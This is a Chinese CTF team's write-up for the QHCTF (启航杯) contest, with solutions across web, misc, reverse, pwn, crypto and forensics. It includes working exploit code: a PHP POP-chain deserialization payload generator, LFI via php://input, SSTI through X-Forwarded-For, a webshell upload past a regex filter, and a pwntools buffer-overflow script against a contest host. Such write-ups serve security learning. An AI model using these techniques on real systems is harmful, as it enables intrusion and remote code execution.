启航杯CTF-花舞少女队伍

发布于 27 天前  29 次阅读


启航杯::CTF-花舞少女队伍wp

队员:ranfey,Annms_,SD7935,凉熙

image-20250126035502190

一场因为硬盘和键盘引起的血雨腥风
下次我就会取证了,给我等着╰(‵□′)╯

类型 题目 解题人
Crypto Easy_RSA SD7935
Forensics Win_02 ranfey
Pwn Easy_Pwn ranfey
Re Checker Annms_
Re note Annms_
Re rainbow Annms_
Misc QHCTF For Year 2025 Annms_
Misc PvzHE ranfey
Misc ___启动! ranfey
Misc 请找出拍摄地所在位置 Annms_
Web PCREMagic ranfey
Web Web_pop ranfey
Web web_ip ranfey
Web Easy_include ranfey

web

Easy_include

访问见得源码

<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
    if(!preg_match("/flag/i",$file))
    {
        include($file);
    }
    else
    {
        echo("no no no ~ ");
    }
}
else
{
    highlight_file(__FILE__);
}

?> 

过滤了关键字flag,直接get传过去的参数都是被解码后过滤,但是只要get里没flag就可以

所以考虑php://input伪协议读post然后文件包含执行读取文件

PixPin_2025-01-25_10-19-14

QHCTF{d6cf1618-cfe8-4957-9377-e8d9a8918fb9}

web_ip

进入到一个页面,flag.php页面有显示又一个you ip

XFF头代表了HTTP的请求端真实的IP

猜测这里是通过读取X-Forwarded-For头来显示

尝试修改X-Forwarded-For头

aa182e6a552eca84712cc5c6b898dd4e

尝试到ssti有收获

image-20250125142203612

发现已经齐了,可以直接执行

image-20250125142712882

QHCTF{187005b0-a280-4b5c-bc92-1fcedf38a36c}

Web_pop

pop构造

题目:

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

构造

<?php
error_reporting(0);
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "__destruct\n";
        echo "Welcome to QHCTF 2025, ".$this->name."\n";
    }

    public function __isset($var)
    {
        echo "__isset\n";
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        echo "__toString\n";
        // 调用 $this->obj->check($this->var)
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\n";
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        echo "__call\n";
        // clone eeee => 触发 eeee->__clone()
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        echo "__clone\n";
        // isset($this->obj->cmd) => 触发 $this->obj->__isset('cmd')
        if(isset($this->obj->cmd)){
            echo "success\n";
        }
    }
}

/**
 * 构造 POP 链对象:Start -> Sec -> Easy -> eeee -> (Start again)
 * 1) Start->$name = (Sec对象1) => 触发 __toString
 * 2) Sec对象1->obj = Easy, Sec对象1->var = eeee
 * 3) eeee->obj = Start (用于 clone 时 isset($this->obj->cmd))
 * 4) Start->func = (Sec对象2),作为 __isset() 中 ($this->func)() => Sec->__invoke()
 */

# 1. 实例化各对象
$start = new Start();
$sec1  = new Sec(); // 用于 __toString -> $obj->check($var)
$sec2  = new Sec(); // 用于 __invoke()
$easy  = new Easy();
$eeee  = new eeee();

# 2. 配置 public 属性:Start::$name = Sec1,  eeee::$obj = Start
$start->name = $sec1;
$eeee->obj   = $start;

# 3. 用反射给 Sec1 赋私有属性 $obj, $var
$secReflect = new ReflectionClass('Sec');
$objProp = $secReflect->getProperty('obj');
$objProp->setAccessible(true);
$objProp->setValue($sec1, $easy);

$varProp = $secReflect->getProperty('var');
$varProp->setAccessible(true);
$varProp->setValue($sec1, $eeee);

# 4. 用反射给 Start 配置受保护属性 $func = Sec2
$startReflect = new ReflectionClass('Start');
$funcProp = $startReflect->getProperty('func');
$funcProp->setAccessible(true);
$funcProp->setValue($start, $sec2);

# 5. 生成
$payload = serialize($start);
echo $payload, "\n\n";

image-20250125143047817

QHCTF{e4e02756-4113-44f0-b260-a62601e8d63c}

PCREMagic

题目:

<?php
function is_php($data){
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true);
    }
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
    exit;
}
?> 1

蚁剑生成shell,上传后直接连接跳转后的路径

image-20250125143524392

image-20250125143345646

然后在根目录找到flag

image-20250125143145503

QHCTF{9d668439-ee6d-481a-9cb7-191edd0c46e7}

misc

QHCTF For Year 2025

按顺序标记出来可得

img

QHCTF{FUN}

PvzHE

随手翻就翻到了。。。。

images\ZombieNote1.png

image-20250125113448428

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5)

___启动!

web手只看http(

题目说了是玩完后传了个什么过去就看post,发现一个比较可疑的

image-20250125125744305

下面带的解不出来,然后想访问一下这个http://101.126.66.65/log试试

就有了

image-20250125125905516

QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}

请找出拍摄地所在位置

因为图里最明显的俩个商店都是连锁,所以从画面左侧的酒店入手

rId42

高德一下即可找到

rId45

Re

Checker

rId20

主函数内可见比较函数check_flag

rId23

check_flag函数内可见加密函数和密文encrypted_flag

rId26

加密逻辑为异或0x23,密文如下

rId29

chef一下即可解出

QHCTF{6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}

rainbow

rId33

在主函数中不难找到hide_flag函数

在该函数中可见加密逻辑为使用xor_encrypt,该函数就是简单异或

使用给的密文即可解出

rId36

QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78]

note

#include <iostream> 
#include <vector> 
std::vector<uint8_t> decryptflag(const std::vector<uint8_t>& ciphertext) { 
    uint32_t key = 0x7CA13742; 
    std::vector<uint8_t> decrypted(ciphertext.size()); 

    for (size_t i = 0; i < ciphertext.size(); ++i) { 
        decrypted[i] = ((key >> (8 * (i % 4))) & 0xFF) ^ ciphertext[i]; 
        decrypted[i] ^= (i + 1); 
    } 

    return decrypted; 
} 

int main() { 
    std::vector<uint8_t> ciphertext = { 
        0x12, 0x7d, 0xe1, 0x2c, 0x01, 0x4a, 0xc4, 0x45, 0x78, 0x5e, 0xc9, 0x46, 0x78, 0x5d, 0x83, 0x0f, 
        0x37, 0x12, 0xd0, 0x45, 0x63, 0x42, 0xd5, 0x57, 0x76, 0x14, 0xde, 0x06, 0x6e, 0x04, 0x8f, 0x3e, 
        0x50, 0x21, 0xe1, 0x3b, 0x53, 0x72, 0xb7, 0x6c, 0x5d, 0x79, 0xf7 
    }; 

    std::vector<uint8_t> decrypted = decryptflag(ciphertext); 
    std::cout << "Decrypted result: "; 
    for (uint8_t byte : decrypted) { 
        std::cout << byte; 
    } 
    std::cout << std::endl; 

    return 0; 
}

QHCTF{b13cc67d-cd7b-4cc3-9df1-1b34cc4c186d}

pwn

Easy_Pwn

栈溢出

查看buf 到栈底的距离为0x50,程序为64位+8

image-20250125191251385

确认后门函数在0x4011C6,但是用ret直接跳到函数最开头,为16对齐,没有经过call先减8

push rbp会导致又减了8,然后导致后门执行命令的时候为8对齐报错

因此直接跳到0x4011C7执行

image-20250125191152221

from pwn import *

p = remote("challenge.qihangcup.cn", port=34873)

def custom_p64(num):
    return num.to_bytes(8, byteorder="little")

payload = b"a" * (0x50 + 8) + custom_p64(0x4011C7)
p.sendline(payload)
p.interactive()

d2eda535183bc9024876b519ebefac00

QHCTF{2a6fed4b-28bc-4392-8ee1-356610cc00f6}

Crypto

Easy_RSA

# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

key = RSA.generate(1024)
private_key = key.export_key()
public_key = key.publickey().export_key()

print("私钥:")
print(private_key)
print("公钥:")
print(public_key)

def encrypt_message(message, public_key):
    key = RSA.import_key(public_key)
    cipher = PKCS1_OAEP.new(key)
    encrypted_message = cipher.encrypt(message.encode())
    return base64.b64encode(encrypted_message).decode()

message = "Hello, this is a secret message!"

encrypted = encrypt_message(message, public_key)
print("加密后的消息:")
print(encrypted)

private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXgIBAAKBgQCtOCsd5TaiQ9uTE/QfLgrx2IF3xeXvvG3bQyl5JXiyFapNszY8\nLZKrKKWo7rNM4XGbgJX0PdqVxdgsc1nQgIhZJfrGvj/wquEQ/FhJPJmcx3kT68Q4\nkRU3BTwmBJ/3Cra2J1+4hAyFQbjkGkpWonyKJYNhrv3x0kBBydlgoh6vAQIDAQAB\nAoGAPPVo2w74sJcP1U0u2rAx4tVuDpAC8ODPiluy4zLoLEfKlKiOXBQvqvNVhUNn\nrxUhjXdtjjQcUhv7jP0VLPamxKCBHQP5aZPL9ligChLbPN/AQOIJFN46BXs7GNxC\nD5+X3ij/jzuNQcTD3LW8m/Fomcrjt3HdeYaCAoSI+zUGUD8CQQDNTBpd/00e+kgj\n8XKdn+6XM13VfCHba11rJA4Kg0Fs2vyarw+FJRcYRRHG1CMPjfqzo3RMxLBrRp9G\nXb5yyil3AkEA1//yHtvf2AG7tpqn0Hirqdo5mBl+LEKp/2gVUfkxAXfI9/pr1asd\ntd0CTy9Mr+EwOx6N26UoYi38l+xX+igJRwJBAIBouZVRustFgRn6S9aL0pCAcJC3\ns/WqkiQRyTaKIsITtyyJkwuUx31GtnfG+KciB02VT4k0/aQb6EP7HsRt7sECQQCL\nkbN2YybJoZ0UiexDlaV+lCbA9EAGA3FrOmsEU9tpkmgGbAa/wtjoyY0Tc4G+5+hN\nWxnYwmhMwGBGHo5ecv5DAkEAk2jINlOG4tPOhZpOEWvI5UzdMnngI7pnZw0G9Uz7\ndncfMMKlJIEws6664jahYzY0IzBcKdXhCGlo05zkBZrxvQ==\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtOCsd5TaiQ9uTE/QfLgrx2IF3\nxeXvvG3bQyl5JXiyFapNszY8LZKrKKWo7rNM4XGbgJX0PdqVxdgsc1nQgIhZJfrG\nvj/wquEQ/FhJPJmcx3kT68Q4kRU3BTwmBJ/3Cra2J1+4hAyFQbjkGkpWonyKJYNh\nrv3x0kBBydlgoh6vAQIDAQAB\n-----END PUBLIC KEY-----'
enmessage = b"Ch6mgS4nNw4yLh3o20OSRJ9ufPooYcggiapqhnw0CQphpcOd5Ub5oPUtqQTka+xv7/ZOywap4KqAvJlP7NVfpxmaCHIVpne9s/2hv2QS2+uv7h8fpR2oSQ9UWj8J0vO36a4yxSl6ghVXWyMP/5fCBboKmwhUGYmzdH8h3SqpaW4="
private_key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(private_key)
enmessage = base64.b64decode(enmessage)
message = cipher.decrypt(enmessage)
print(message)

59c203439a87532f69ad52fcc8548818

QHCTF{251628c7-31e6-4385-9e35-4f0bbd127649}

Forensics

Win_02

扫描结束后可以看到

a9bd86fbb32f0fc3c645d4327095e24a

解码后密码为123456

后按题目要求一起md5

QHCTF{fb484ad326c0f3a4970d1352bfbafef8}

QQ:2219349024
最后更新于 2025-01-26